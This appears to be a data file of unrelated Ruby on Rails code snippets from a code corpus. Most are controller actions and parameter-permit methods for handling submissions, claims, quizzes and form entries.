"def submission_params\n params.require(:submission).permit(:raw_content, :person_id, :ip_addr, :entry_id, :form_structure, :field_structure, :form_id, :form_type)\n end",
"def submission_params\n params.require(:submission).permit(:raw_content, :person_id, :ip_addr, :entry_id, :form_structure, :field_structure, :form_id, :form_type)\n end",
"def submit_claim\n resp = if token.present?\n client.submit_claim(token:, patient_icn:, appointment_date:)\n else\n Faraday::Response.new(body: { message: 'Unauthorized' }, status: 401)\n end\n response.build(response: resp).handle\n end",
"def create\n #\n @submission = Submission.new(submission_params)\n #\n # add current_user id to @submission, must be logged in\n #\n @submission.user_id = current_user.id\n @submission.status = false # false means not submitted and is editable by user\n #\n # Create data directory\n #\n @submission.data_directory = Time.now.to_i.to_s\n #directory = Rails.root.join(\"public\", \"BIDRECORDS\", @submission.data_directory)\n @submission.editing_count = 1\n #Dir.mkdir(directory)\n #\n # Write out blank Summary file\n #\n respond_to do |format|\n if @submission.save\n #\n # Send email link\n #\n @submission.create_experiment(:description => \"Please Provide a Description via EDIT DETAILS\", :title=>\"Please provide a suitable title via EDIT DETAILS\", :user_id => @submission.user_id, :state => \"unpublished\")\n # set default user\n user = User.find_by(:id => @submission.user_id)\n @submission.experiment.contributors.create(:last_name => user.last_name, :given_names=> user.first_name)\n @submission.save\n\n NotifierMailer.with(submission: @submission).registration.deliver\n #NotifierMailer.registration(@submission).deliver\n format.html { redirect_to edit_submission_path(:id => @submission.data_directory), notice: 'Submission was successfully created.' }\n format.json { render :show, status: :created, location: @submission }\n # format.html { redirect_to(@submission, :notice => 'Submission registration was successful. Please check your email account!') }\n # format.xml { render :xml => @submission, :status => :created, :location => @submission }\n else\n format.html { render :new }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n # format.html { render :action => \"new\" }\n # format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n\n\n # @submission = Submission.new(submission_params)\n #\n # respond_to do |format|\n # if @submission.save\n # format.html { redirect_to @submission, notice: 'Submission was successfully created.' }\n # format.json { render :show, status: :created, location: @submission }\n # else\n # format.html { render :new }\n # format.json { render json: @submission.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n # start time\n\t\tparams[:submission][:SubmittedAt]=DateTime.now\n\t\t@submission = Submission.new(submission_params)\n\t\t# if assessment id was provided \n\t\tif params[:submission][:assessment_id]\n\t\t\t@assessment = Assessment.find(params[:submission][:assessment_id])\n\t\t\t@name = @assessment.Name\n\t\t\t# if the assessment exists\n\t\t\tif @assessment\n\t\t\t\tuser = User.find(@assessment.user_id)\n\t\t\t\t@creator = user.Fname + \" \" + user.Lname\n\t\t\tend\n\t\tend\n respond_to do |format|\n if @submission.save\n format.html { redirect_to edit_submission_path(@submission, :assessment_id => params[:submission][:assessment_id]) }\n format.json { render :show, status: :created, location: @submission }\n else\n format.html {render :new, :locals => { :assessment => @assessment }, status: :unprocessable_entity}\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @claim = current_insurer.claims.build(claim_params)\n\n respond_to do |format|\n if @claim.save\n format.html { redirect_to addService_insurer_claim_path(id: @claim.id), notice: 'Claim was successfully created.' }\n format.json \n else\n format.html { render :new }\n format.json \n end\n end\n end",
"def show\n @claim_submission = ClaimSubmission.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @claim_submission }\n end\n end",
"def submission_params\n params.require(:submission).permit(:full_name, :email, :project_repo, :project_url, :oop_best_practices, :modular_dev, :workflow_understanding, :testing, :database_knowledge, :debugging, :problem_solving, :javascript, :html, :css, :teamwork, :self_motivation, :communication_skils, :energy_level, :intelligence)\n end",
"def create\n @submission = Submission.new(params[:submission])\n @items_list = current_user.build_items_list\n \n respond_to do |format|\n if @submission.save\n @submission.submit_job\n flash[:notice] = 'Submission was successfully created.'\n format.html { redirect_to(@submission) }\n format.xml { render :xml => @submission, :status => :created, :location => @submission }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n if @test.done.blank?\n redirect_to root_path, warning: \"This test have not finished yet\"\n return\n end\n params[:submission] = {}\n params[:submission][:user_id] = current_user.id\n @submission = @test.submissions.create(submission_params)\n respond_to do |format|\n if @submission.save\n @test.questions.each do |question|\n question.answers.each do |answer|\n answer.answers_of_questions.create({choice: false, question_id: question.id, submission_id: @submission.id})\n end\n end\n format.html { redirect_to edit_test_submission_path(@test, @submission) }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @submission = current_user.submissions.new(submission_params)\n result = SandboxService.query(@submission.challenge.title, @submission.code)\n puts result\n\n @submission.length = @submission.code.chars.length\n @submission.time = result['time']\n @submission.passed = result['passed']\n\n if @submission.passed?\n old_submission = @challenge.submissions.find_by(code: @submission.code, user: current_user)\n if old_submission.present?\n old_submission.update(time: @submission.time) if @submission.time < old_submission.time\n\n redirect_to(challenge_path(@challenge),\n notice: \"Your code passed the test, but you've already submitted it.\",\n result: result['result'])\n elsif @submission.save\n redirect_to(challenge_path(@challenge), notice: 'Submission was successfully created.',\n result: result['result'])\n else\n redirect_to(challenge_path(@challenge), alert: 'Something went wrong!')\n end\n else\n redirect_to(challenge_path(@challenge), alert: 'Your submission failed the test.',\n result: result['result'], error: result['error'])\n end\n end",
"def create\n @research_submission = ResearchSubmission.new(research_submission_params)\n\n respond_to do |format|\n if @research_submission.save\n format.html { redirect_to @research_submission, notice: 'Research submission was successfully created.' }\n format.json { render :show, status: :created, location: @research_submission }\n else\n format.html { render :new }\n format.json { render json: @research_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = Submission.new(submission_params)\n\n respond_to do |format|\n if @submission.save\n SubmissionsMailer.submission_email(@submission).deliver_later\n format.html { redirect_to submissions_path, notice: 'Submission' }\n # format.json { render :new, status: :created, location: @submission }\n else\n format.html { render :new }\n # format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = current_user\n @task = Task.find(params[:task_submission][:task_id])\n @task_submission = @user.task_submissions.new(task_submission_params)\n @task_submission.task_id = @task.id\n \n\n respond_to do |format|\n if @task_submission.save\n format.html { redirect_to @task_submission, notice: 'Task submission was successfully created.' }\n format.json { render :show, status: :created, location: @task_submission }\n else\n format.html { render :new }\n format.json { render json: @task_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def upload_submission(sub_info)\n uri = URI.parse(TARGET_API)\n http = Net::HTTP.new(uri.host, uri.port)\n\n req = Net::HTTP::Post.new(\"/ontologies/#{sub_info['ontology']['acronym']}/submissions\")\n req['Content-Type'] = 'application/json'\n req['Authorization'] = \"apikey token=#{TARGET_APIKEY}\"\n\n # Check if the source BioPortal is pulling the ontology from an URL\n # If yes then we will pull the ontology from this place (allow auto update of the ontology when the ontology is changed in its source URL)\n if sub_info['pullLocation'].nil?\n pull_location = \"#{sub_info['ontology']['links']['download']}?apikey=#{SOURCE_APIKEY}\"\n else\n pull_location = sub_info['pullLocation']\n end\n\n # Extract contacts\n contacts = []\n sub_info['contact'].each do |contact|\n contacts.push({'name': contact['name'],'email': contact['email']})\n end\n\n # Build the json body\n # hasOntologyLanguage options: OWL, UMLS, SKOS, OBO\n # status: alpha, beta, production, retired\n req.body = {\n 'contact': contacts,\n 'hasOntologyLanguage': sub_info['hasOntologyLanguage'],\n 'released': sub_info['released'],\n 'ontology': \"#{TARGET_API}/ontologies/#{sub_info['ontology']['acronym']}\",\n 'description': sub_info['description'],\n 'status': sub_info['status'],\n 'version': sub_info['version'],\n 'homepage': sub_info['homepage'],\n 'documentation': sub_info['documentation'],\n 'publication': sub_info['publication'],\n 'naturalLanguage': sub_info['naturalLanguage'],\n 'pullLocation': pull_location\n }.to_json\n\n #puts req.body.to_s\n response = http.start do |http|\n http.request(req)\n end\n\n return response\nend",
"def patch_new_submission(kapp_slug, form_slug, payload={}, headers=default_headers)\n # set the currentPage hash if currentPage was passed as a string\n payload[\"currentPage\"] = { \"name\" => payload[\"currentPage\"] } if payload[\"currentPage\"].is_a? String\n # set origin hash if origin was passed as a string\n payload[\"origin\"] = { \"id\" => payload[\"origin\"] } if payload[\"origin\"].is_a? String\n # set parent hash if parent was passed as a string\n payload[\"parent\"] = { \"id\" => payload[\"parent\"] } if payload[\"parent\"].is_a? String\n # prepare any attachment values\n payload[\"values\"] = prepare_new_submission_values(kapp_slug, form_slug, payload[\"values\"])\n # Create the submission\n @logger.info(\"Patching a submission in the \\\"#{form_slug}\\\" Form.\")\n patch(\"#{@api_url}/kapps/#{kapp_slug}/forms/#{form_slug}/submissions\", payload, headers)\n end",
"def submission_params\n params.require(:submission).permit(:p1_first_name, :p1_last_name, :p1_handicap, :team, :venue, :league, :p2_first_name, :p2_last_name, :p2_handicap, :p3_first_name, :p3_last_name, :p3_handicap, :p4_first_name, :p4_last_name, :p4_handicap, :p5_first_name, :p5_last_name, :p5_handicap, :p6_first_name, :p6_last_name, :p6_handicap, :p7_first_name, :p7_last_name, :p7_handicap, :p8_first_name, :p8_last_name, :p8_handicap, :g1_first_name, :g1_last_name, :g1_handicap, :g2_first_name, :g2_last_name, :g2_handicap, :g3_first_name, :g3_last_name, :g3_handicap, :g4_first_name, :g4_last_name, :g4_handicap, :fixture)\n end",
"def update\n @claim_submission = ClaimSubmission.find(params[:id])\n\n respond_to do |format|\n if @claim_submission.update_attributes(params[:claim_submission])\n format.html { redirect_to @claim_submission, notice: 'Claim submission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @claim_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = Submission.find(params[:submission_id])\n @submission_detail = SubmissionDetail.new(submission_detail_params)\n @award_deadline = Deadline.order(\"created_at\").last\n\n respond_to do |format|\n if @submission_detail.save\n format.html { redirect_to submission_submission_detail_path(@submission, @submission_detail), notice: 'Document was successfully uploaded.' }\n format.json { render action: 'show', status: :created, location: @submission_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @submission_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submission_params\n params.require(:submission).permit(:first_name, :middle_name, :last_name, :date_of_birth, :candidate_class, :school, :article, :email, :phone_number, :image, :article_file)\n end",
"def submit\n @submission = Requests::Submission.new(sanitize_submission(params), Patron.new(user: current_or_guest_user, session: session))\n respond_to do |format|\n format.js do\n valid = @submission.valid?\n @services = @submission.process_submission if valid\n if valid && @submission.service_errors.blank?\n respond_to_submit_success(@submission)\n elsif valid # submission was valid, but service failed\n respond_to_service_error(@services)\n else\n respond_to_validation_error(@submission)\n end\n end\n end\n end",
"def make_student_submissions\n\t1.upto(NUM_SUBMISSIONS) do |n|\n\t\ts = StudentSubmission.create()\n\t\ts.student = Student.find(n % NUM_STUDENT + 1)\n\t\ts.submission = Submission.find(n % NUM_SUBMISSIONS + 1)\n\t\ts.id = n\n\t\ts.save\n\tend\nend",
"def submission_params\n params.require(:submission).permit(:assessment_id, :userId, :userEmail, :Scores, :Answers, :SubmittedAt, :Score, :Duration)\n end",
"def destroy\n @claim_submission = ClaimSubmission.find(params[:id])\n @claim_submission.destroy\n\n respond_to do |format|\n format.html { redirect_to claim_submissions_url }\n format.json { head :no_content }\n end\n end",
"def index\n @form_submissions = policy_scope(FormSubmission)\n end",
"def submit\n raise Ch31NilClaimError if @claim.nil?\n\n response = send_to_vre(payload: format_payload_for_vre)\n response_body = response.body\n\n raise Ch31Error if response_body['error_occurred'] == true\n\n log_message_to_sentry(\n 'Temp message for testing',\n :warn,\n { application_intake_id: response_body['application_intake'] },\n SENTRY_TAG\n )\n response_body\n rescue Ch31Error => e\n process_ch_31_error(e, response_body)\n\n response_body\n rescue Ch31NilClaimError => e\n process_nil_claim_error(e)\n end",
"def submission_api\n # noinspection RubyMismatchedReturnType\n api_service(SubmissionService)\n end",
"def submission\n Reggora::Resources::Submission.new(config)\n end",
"def create\n @device_submission = DeviceSubmission.new(device_submission_params)\n\n respond_to do |format|\n if @device_submission.save\n format.html { redirect_to @device_submission, notice: 'Device submission was successfully created.' }\n format.json { render :show, status: :created, location: @device_submission }\n else\n format.html { render :new }\n format.json { render json: @device_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @email = @claim.emails.new(email_params)\n\n respond_to do |format|\n if @email.save\n format.html { redirect_to @email, notice: 'Email was successfully created.' }\n format.json { render action: 'show', status: :created, location: @email }\n else\n format.html { render action: 'new' }\n format.json { render json: @email.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submission_params\n params.require(:submission).permit(\n responses_attributes: [\n :survey_question_id,\n :answer\n ]\n )\n end",
"def create\n @contact_submission = ContactSubmission.new(contact_submission_params)\n respond_to do |format|\n if @contact_submission.save\n format.html { redirect_to contact_submissions_message_thank_you_path }\n format.json { render :show, status: :created, location: @contact_submission }\n else\n format.html { render :new }\n format.json { render json: @contact_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @table_submission = TableSubmission.new(table_submission_params)\n\n respond_to do |format|\n if @table_submission.save\n format.html { redirect_to @table_submission, notice: 'Table submission was successfully created.' }\n format.json { render :show, status: :created, location: @table_submission }\n else\n format.html { render :new }\n format.json { render json: @table_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def claims!(submission)\n if not submission.claimed? and submission.owner != self\n submission.profile.notifications.create(notifyable: submission, rules: 'submission:claim')\n submission.owner = self\n submission.save\n end\n end",
"def create\n @submission_method = SubmissionMethod.new(submission_method_params)\n\n respond_to do |format|\n if @submission_method.save\n format.html { redirect_to @submission_method, notice: 'Submission method was successfully created.' }\n format.json { render :show, status: :created, location: @submission_method }\n else\n format.html { render :new }\n format.json { render json: @submission_method.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @funding_application_submissions = FundingApplicationSubmission.all\n end",
"def create\n @submission = Submission.new(submission_params)\n\n respond_to do |format|\n if @submission.save\n create_repaired_mesh\n format.html { redirect_to @submission, notice: 'Submission was successfully created.' }\n format.json { render action: 'show', status: :created, location: @submission }\n else\n format.html { render action: 'new' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = Submission.new(submission_params)\n @quiz = Quiz.find(@submission[:quiz_id])\n\n if(@quiz && @submission)\n @qa_hash = json_to_hasharray(@quiz.qajson)\n @submission[:user_id] = current_user.id\n @submission[:qajson] = @quiz.qajson\n @submission[:complete] = false\n @submission[:correct] = 0\n @submission[:possible] = @qa_hash.count if @qa_hash\n\n if(@submission.save)\n render :edit\n else\n redirect_to user_path(current_user), notice: \"Error creating new submission.\"\n end\n else\n redirect_to user_path(current_user), notice: \"Invalid quiz ID.\"\n end\n end",
"def claim\n if (current_user) && (@post.status == 'new') && (@post.creator_id == current_user.id)\n @post.status = 'claimed'\n @post.save\n respond_to do |format|\n format.json {render json: '[]', status: :ok}\n end\n else\n respond_to do |format|\n format.json {render json: [], status: :unprocessable_entity}\n end\n end\n end",
"def submission_params\n params.require(:submission).permit(:education, :hours_per_week, :capital_gain, :male)\n end",
"def create\n @milestone = Milestone.new(milestone_params)\n# @benefit_requested = BenefitRequested.new(benefit_requested_params)\n\n respond_to do |format|\n if @milestone.save\n format.html { redirect_to milestones_path, notice: 'Milestone was successfully created.' }\n format.json { render :show, status: :created, location: @milestone }\n else\n format.html { render :new }\n format.json { render json: @milestone.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = Submission.new(params[:submission])\n @submission.user_id = remember_token[0]\n respond_to do |format|\n if @submission.save\n format.html { redirect_to(@submission, :notice => 'Submission was successfully created.') }\n format.xml { render :xml => @submission, :status => :created, :location => @submission }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @submission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user\n if xor(submission_params[:url].blank?, submission_params[:text].blank?) && !submission_params[:title].blank?\n parameters = submission_params\n if submission_params[:text].blank?\n parameters[:url] = parameters[:url].sub(/^https?\\:\\/\\//, '').sub(/^www./,'')\n parameters[:url] = 'http://' + parameters[:url]\n end\n if (parameters[:url] != \"\" && !Submission.where(url: parameters[:url]).present?) ||\n (parameters[:url] == \"\")\n @submission = Submission.new(parameters)\n @submission.user = current_user\n @user = @submission.user\n @user.karma = @user.karma + 1\n respond_to do |format|\n if @submission.save && @user.save\n @submission.vote_by :voter => current_user\n format.html { redirect_to :newest}\n format.json { render :newest, status: :created, location: @submission }\n else\n format.html { render :new }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to \"/submissions/new\", :notice => \"Url exists\"\n end\n else\n redirect_to \"/submissions/new\", :notice => \"Write a title and an url or a text\"\n end\n else\n redirect_to \"/auth/google_oauth2\"\n end\n end",
"def create\n appointment_request = current_user.pending_requests.new(\n appointment_request_params\n )\n\n if appointment_request.save\n if appointment_request.initialize_appointment!(appointment_params)\n redirect_to root_path\n else\n render json: {\n status: 500,\n error: 'This expert is not available on the scheduled date'\n }, status: 500\n end\n else\n render json: {\n status: 500, error: appointment_request.errors\n }, status: 500\n end\n end",
"def upload_form_526\n validate_document_provided\n validate_documents_content_type\n validate_documents_page_size\n\n pending_claim = ClaimsApi::AutoEstablishedClaim.pending?(params[:id])\n\n if pending_claim && (pending_claim.form_data['autoCestPDFGenerationDisabled'] == true)\n pending_claim.set_file_data!(documents.first, EVSS_DOCUMENT_TYPE)\n pending_claim.save!\n\n ClaimsApi::Logger.log('526', claim_id: pending_claim.id, detail: 'Uploaded PDF to S3')\n ClaimsApi::ClaimEstablisher.perform_async(pending_claim.id)\n ClaimsApi::ClaimUploader.perform_async(pending_claim.id)\n\n render json: pending_claim, serializer: ClaimsApi::AutoEstablishedClaimSerializer\n elsif pending_claim && (pending_claim.form_data['autoCestPDFGenerationDisabled'] == false)\n message = <<-MESSAGE\n Claim submission requires that the \"autoCestPDFGenerationDisabled\" field\n must be set to \"true\" in order to allow a 526 PDF to be uploaded\n MESSAGE\n raise ::Common::Exceptions::UnprocessableEntity.new(detail: message)\n else\n raise ::Common::Exceptions::ResourceNotFound.new(detail: 'Resource not found')\n end\n end",
"def storyslam_submit\n @story = Story.find(params[:id]) \n @submission = Submission.new(:title => @story.title,\n :subtitle => @story.subtitle,\n :genre1 => @story.genre1,\n :genre2 => @story.genre2,\n :content => @story.final_draft.map(&:content).join(\"\\n\\n\"),\n :user_id => current_user.id,\n :story_id => @story.id)\n @submission.save\n render :layout => \"application\"\n end",
"def create\n @claim_datum = ClaimDatum.new(claim_datum_params)\n\n respond_to do |format|\n if @claim_datum.save\n format.html { redirect_to @claim_datum, notice: 'Claim datum was successfully created.' }\n format.json { render :show, status: :created, location: @claim_datum }\n else\n format.html { render :new }\n format.json { render json: @claim_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submission_params\n params.require(:submission).permit(:intro, :body, :due_by, :title)\n end",
"def submission_params\n params.permit(:submit_type, :submit_object, :title, :body, :user_id)\n end",
"def submission_params\n params.require(:submission).permit(:email)\n #params.fetch(:submission, {})\n end",
"def submit_attachment # rubocop:disable Metrics/MethodLength\n raise 'requires a processed submission' if submission&.carma_case_id.blank?\n raise 'submission already has attachments' if submission.attachments.any?\n\n file_path = begin\n claim.to_pdf(sign: true)\n rescue\n return false\n end\n\n begin\n carma_attachments = CARMA::Models::Attachments.new(\n submission.carma_case_id,\n claim.veteran_data['fullName']['first'],\n claim.veteran_data['fullName']['last']\n )\n\n carma_attachments.add(CARMA::Models::Attachment::DOCUMENT_TYPES['10-10CG'], file_path)\n\n carma_attachments.submit!(carma_client)\n submission.attachments = carma_attachments.to_hash\n rescue\n # The end-user doesn't know an attachment is being sent with the submission at all. The PDF we're\n # sending to CARMA is just the submission, itself, as a PDF. This is to follow the current\n # conventions of CARMA: every case has the PDF of the submission attached.\n #\n # Regardless of the reason, we shouldn't raise an error when sending attachments fails.\n # It's non-critical and we don't want the error to bubble up to the response,\n # misleading the user to think thier claim was not submitted.\n #\n # If we made it this far, there is a submission that exists in CARMA.\n # So the user should get a sucessful response, whether attachments reach CARMA or not.\n File.delete(file_path)\n return false\n end\n\n File.delete(file_path)\n true\n end",
"def individual_submissions\n \tif params.has_key?(:select_student) and params[:select_student] != \"\"\n \t\t\t@student = @course.user_courses.find_by_id(params[:select_student])\n \t\tend\n\n \t\tif @student\n \t\t\t@submissions = @guidance_quiz.submissions\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t .where(std_course_id: @student.id)\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t .order(\"created_at DESC\")\n \t\telse\n \t\t\t@submissions = []\n \t\tend\n\n \t\tif @student and params.has_key?(:select_submission) and params[:select_submission] != \"\"\n \t\t\t@chosen_submission = @guidance_quiz.submissions\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t .where(std_course_id: @student.id,\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t\t\t\tid: params[:select_submission])\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t .first\n data_synchronise_submission @chosen_submission\n \t\tend\n\n \t\tif @chosen_submission\n \t\t\t@concept_stages = Assessment::GuidanceConceptStage.get_passed_stages @chosen_submission\n\t enabled_concepts = Topicconcept.joins(\"INNER JOIN assessment_guidance_concept_options ON assessment_guidance_concept_options.topicconcept_id = topicconcepts.id\")\n\t .concepts\n\t .where(topicconcepts: {course_id: @course.id}, assessment_guidance_concept_options: {enabled: true})\n\t @achieve_percentage = @concept_stages.size * 100 / enabled_concepts.size; \n\t @achieve_correct_amount = @chosen_submission.mcq_answers.where(assessment_answers: {correct: true}).size\n\t @achieve_wrong_amount = @chosen_submission.mcq_answers.where(assessment_answers: {correct: false}).size \n\t @achieve_rating = 0\n\t @concept_stages.each do |stage|\n\t @achieve_rating += stage.rating_right\n\t end\n \t\tend\n end",
"def submission_params\n params.require(:submission).permit(:user_id, :name, :rating, :orientation, :description, :image)\n end",
"def submission_params\n params.require(:submission).permit(:title, :abstract, :sid, :user_id, :context_id, :revision_seq, :last_created_revision_id, :last_submitted_revision_id, :aasm_state) rescue nil\n end",
"def create\n @submission = Submission.new(submission_params)\n @submission.correctness = false\n @submission.reviewed = false\n\n respond_to do |format|\n if @submission.save\n format.html { redirect_to task_path(@submission.task), notice: 'Submission was successfully created.' }\n format.json { render :show, status: :created, location: @submission }\n else\n format.html { render :new }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tr_rfq_submission = TrRfqSubmission.new(tr_rfq_submission_params)\n respond_to do |format|\n if @tr_rfq_submission.save\n\n format.html { redirect_to inquiries_path, notice: 'Quotation was successfully created.' }\n format.json { render :show, status: :created, location:inquiries_path }\n TrRfq.find(@tr_rfq_submission.tr_rfq_id).update(status: 'Submitted');\n else\n format.html { render :new }\n format.json { render json: @tr_rfq_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submission_params\n params.require(:submission).permit(:sequence, :category)\n end",
"def create_submission_by_id(submission_id)\n\t\ts = Submission.new\n\t\tresponse = api_get('submissions',\n\t\t cid: contest_id, limit: 1,\n\t\t fromid: submission_id)[0]\n\t\ts.created_at = Time.at(response['time'].to_i).utc\n\t\ts.submission_id = submission_id\n\t\ts.account = accounts.find_or_create_by!(account_id: response['team'])\n\t\ts.problem = problems.find_or_create_by!(problem_id: response['problem'])\n\t\ts.language = response['language']\n\t\ts.save!\n\t\ts\n\tend",
"def create\n @incident_proof = IncidentProof.new(incident_proof_params)\n\n respond_to do |format|\n if @incident_proof.save\n format.html { redirect_to @incident_proof, notice: 'Incident proof was successfully created.' }\n format.json { render :show, status: :created, location: @incident_proof }\n else\n format.html { render :new }\n format.json { render json: @incident_proof.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n parameters = problem_submission_params\n parameters[:when] = DateTime.now\n parameters[:user_id] = current_user.id\n @problem_submission = ProblemSubmission.new(parameters)\n\n respond_to do |format|\n if @problem_submission.save\n @problem_submission.create_source_files\n @problem_submission.compile\n\n format.html { redirect_to '/problem_submissions', notice: 'Problem submission was successfully created.' }\n format.json { render :index, status: :created, location: @problem_submission }\n else\n format.html { render :new }\n format.json { render json: @problem_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = Submission.new(submission_params)\n\n respond_to do |format|\n if @submission.save\n format.html do\n redirect_to [@activity.learning_unit.course, @activity.learning_unit, @activity],\n notice: 'Submission was successfully created.'\n end\n format.json { render :show, status: :created, location: @submission }\n else\n format.html { render :new }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submission_params\n { challenge_id: params[:challenge_id], code: params[:submission][:code].strip }\n end",
"def create\n @submission_response = SubmissionResponse.new(submission_response_params)\n\n respond_to do |format|\n if @submission_response.save\n format.html { redirect_to @submission_response, notice: 'Submission response was successfully created.' }\n format.json { render :show, status: :created, location: @submission_response }\n else\n format.html { render :new }\n format.json { render json: @submission_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_existing_submission(submission_id, payload={}, headers=default_headers)\n # set the currentPage hash if currentPage was passed as a string\n payload[\"currentPage\"] = { \"name\" => payload[\"currentPage\"] } if payload[\"currentPage\"].is_a? String\n # set origin hash if origin was passed as a string\n payload[\"origin\"] = { \"id\" => payload[\"origin\"] } if payload[\"origin\"].is_a? String\n # set parent hash if parent was passed as a string\n payload[\"parent\"] = { \"id\" => payload[\"parent\"] } if payload[\"parent\"].is_a? String\n # prepare any attachment values\n payload[\"values\"] = prepare_updated_submission_values(submission_id, payload[\"values\"])\n # Create the submission\n @logger.info(\"Patching a submission with id \\\"#{submission_id}\\\"\")\n patch(\"#{@api_url}/submissions/#{submission_id}\", payload, headers)\n end",
"def sample_submission_params\n params.permit(:id)\n end",
"def claim_params\n params.require(:claim).permit(:facility_name, :date, :authorization_number, :total_requested_amount, :authorized_amount, :rejected_amount, :authority_name, :provider_id, :authority_designation, :member_number, :member_name, :status, :insurer_id)\n end",
"def retrieve_submission\n template = tool_proxy_from_guid.submission_service_url\n template&.gsub!('{submission_id}', params[:tc_submission_id])\n template&.gsub!('{assignment_id}', 'assignment_id')\n response = HTTParty.get(template, headers: { 'Authorization' => \"Bearer #{access_token}\" })\n JSON.parse(response.body)\n end",
"def problem_submission_params\n params.require(:problem_submission).permit(:code, :problem_id, :user_id)\n end",
"def run_job_create_submission(opts, input_info = nil)\n # Parameter 'id' should be of type String\n # Get challenge\n @challenge = Challenge.find_by(id: opts[\"challenge_id\"])\n raise \"No associated challenge found\" unless @challenge\n\n submission = opts[\"submission\"]\n raise \"No submission info found\" unless submission\n\n # Name should be a nonempty string\n name = submission[\"name\"]\n raise \"Name should be a non-empty string\" unless name.is_a?(String) && name != \"\"\n\n # Name should be a nonempty string\n desc = submission[\"desc\"]\n raise \"Description should not be empty\" if desc.blank?\n\n # Inputs should be a hash (more checks later)\n @inputs = JSON.parse(submission[\"inputs\"])\n raise \"Inputs should be a hash\" unless @inputs.is_a?(Hash)\n\n # TODO: Does challengebot need to worry about licenses?\n # Check if asset licenses have been accepted\n # unless @app.assets.all? { |a| !a.license.present? || a.licensed_by?(@context) }\n # raise \"Asset licenses must be accepted\"\n # end\n\n @app = App.find(@challenge.app_id)\n\n cloned_inputs = clone_inputs_to_space\n job_run_inputs = cloned_inputs.copies.to_h { |copy| [copy.source.uid, copy.object.uid] } unless cloned_inputs.nil?\n\n input_info ||= input_spec_preparer.run(@app, @inputs)\n\n input_info.run_inputs.each { |k, v| input_info.run_inputs[k] = job_run_inputs[v] } unless cloned_inputs.nil?\n\n job = job_creator.create(\n app: @app,\n name: name,\n input_info: input_info,\n )\n\n submission = Submission.create!(\n job_id: job.id,\n desc: desc,\n user_id: @context.user_id,\n challenge_id: @challenge.id,\n _inputs: input_info.file_dxids,\n )\n\n job.update!(project: @challenge.space.host_project, scope: @challenge.space.scope)\n\n Event::SubmissionCreated.create_for(submission, @context.user)\n\n flash[:success] = \"Your entry was submitted successfully.\"\n end",
"def create\n @participation = Participation.new(params[:participation])\n respond_to do |format|\n if user_signed_in?\n @participation.User_id=current_user.id\n if @participation.save\n comp=Competition.find(@participation.Competition_id)\n ds=Dataset.find(comp.Dataset_id)\n chalenges=Chalenge.find(:all,:conditions => { :Dataset_id => ds.id})\n chalenges.each do |chal|\n sub=Submission.new\n sub.Participation_id=@participation.id \n sub.Chalenge_id=chal.id\n sub.save\n end\n format.html { redirect_to @participation, notice: 'Participation was successfully created.' }\n format.json { render json: @participation, status: :created, location: @participation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @participation.errors, status: :unprocessable_entity }\n end\n else\n redirect_to signin_path, status: 'You must sign in to declare a participation.' \n end\n end\n end",
"def questionnaire_submission_params\n params.require(:questionnaire_submission).permit(:user_id, :questionnaire_id, :status)\n end",
"def create\n @email_submission = EmailSubmission.new(params[:email_submission])\n email = @email_submission.email_id\n message = @email_submission.email_message_id\n server = @email_submission.server_id\n delivered = false \n\n respond_to do |format|\n if @email_submission.save\n #@email_submission.deliver(server, email, message)\n format.html { redirect_to email_submissions_url, notice: 'Email submission was successfully created.' }\n format.json { render json: @email_submissions, status: :created, location: @email_submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submission_method_params\n params.require(:submission_method).permit(:code, :name)\n end",
"def submission_params\n params.require(:submission).permit(:title, :url, :text, :user_id)\n end",
